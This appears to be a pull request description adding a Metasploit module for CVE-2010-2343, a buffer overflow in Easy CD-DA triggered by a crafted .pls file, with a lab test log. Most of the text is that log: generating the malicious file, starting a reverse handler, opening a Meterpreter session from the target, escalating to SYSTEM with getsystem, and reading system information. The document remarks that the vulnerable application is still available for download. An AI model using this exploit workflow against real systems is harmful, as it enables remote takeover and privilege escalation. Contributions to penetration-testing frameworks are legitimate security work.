Add module for CVE-2010-2343

This is an MSF port of an old exploit, but the vulnerable application is still available for download from various sites.

Tested on Windows XP SP3, test run results below:

```
msf > use exploit/windows/fileformat/easycdda_pls_bof
msf exploit(easycdda_pls_bof) > run

[*] Creating 'msf.pls' file ...
[+] msf.pls stored at /home/gabor/.msf4/local/msf.pls
msf exploit(easycdda_pls_bof) > use exploit/multi/handler
msf exploit(handler) > run

[*] Started reverse handler on 192.168.171.128:4444
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 192.168.171.129
[*] Meterpreter session 1 opened (192.168.171.128:4444 -> 192.168.171.129:1161) at 2014-02-10 19:46:51 +0100

meterpreter > getsystem
...got system (via technique 1).
meterpreter > sysinfo
Computer        : GABOR-03722ADE8
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter >
```